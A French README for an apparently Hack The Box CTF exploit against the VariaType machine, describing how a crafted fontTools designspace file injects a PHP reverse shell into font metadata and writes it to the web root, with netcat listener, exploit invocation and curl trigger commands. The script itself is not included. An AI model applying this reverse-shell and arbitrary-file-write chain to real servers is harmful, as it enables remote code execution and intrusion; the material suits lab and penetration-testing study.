CVE-2025-66034-htb-ctf

Exploit du générateur de polices variables VariaType

Ce dépôt contient un exploit spécialisé pour la machine VariaType sur Hack The Box. L'exploit tire parti d'une vulnérabilité dans la manière dont la bibliothèque fontTools ou l'application web traite les fichiers XML .designspace et l'interpolation des métadonnées pour réaliser une exécution de code à distance (RCE).

📝 Description

La vulnérabilité réside dans le processus de génération de polices. En créant un fichier designspace malveillant, nous pouvons injecter une charge utile de shell inverse PHP dans les métadonnées de la police (notamment le champ <labelname>). Lorsque le serveur traite ces fichiers pour générer une police variable, il écrit la sortie dans un chemin défini par l'utilisateur, ce qui nous permet de déposer un shell .php dans la racine web.

🛠️ Fonctionnalités

• Génération automatique de polices : Crée des polices maîtresses valides source-light.ttf et source-regular.ttf à l'aide de fontTools.
• Injection XML : Génère un fichier designspace malveillant avec une charge utile PHP encapsulée dans CDATA.
• Écriture arbitraire de fichier / traversée de répertoire : Tente d'enregistrer la « police » résultante sous forme de fichier .php dans le répertoire public.
• Randomisation : Génère des noms de shell uniques pour éviter les conflits.

🚀 Prérequis

Vous devez avoir Python 3 installé ainsi que les bibliothèques suivantes :

pip install fontTools requests

💻 Utilisation

1. Démarrez votre écouteur

Sur votre machine locale (ou Pwnbox), démarrez un écouteur Netcat :

nc -lvnp 4444

2. Lancez l'exploit

Exécutez le script en fournissant votre IP VPN HTB et le port d'écoute :

python3 exploit.py --ip <VOTRE_IP> --port 4444

3. Déclenchez le shell

Si le téléchargement renvoie un 200 OK (ou parfois même un 500 si le traitement a lieu avant l'erreur), le script fournira le nom du fichier. Accédez-y via curl ou votre navigateur :

curl http://portal.variatype.htb/shell_xxxxxx.php

⚙️ Arguments

Argument	Description	Défaut
--ip	Votre IP d'écoute (VPN)	Requis
--port	Votre port d'écoute	Requis
--path	Chemin cible pour le shell	/var/www/portal.variatype.htb/public
--url	Point de terminaison de téléchargement	http://variatype.htb/tools/.../process

⚠️ Avertissement

Ce script est destiné à des fins éducatives et à des tests de pénétration autorisés uniquement. Accéder ou attaquer des cibles sans autorisation préalable est illégal.

---

Comment utiliser ce README :

1. Enregistrez le contenu ci-dessus sous le nom README.md dans le même dossier que votre script.
2. Assurez-vous que votre script est nommé exploit.py ou mettez à jour le nom du fichier dans les commandes ci-dessus.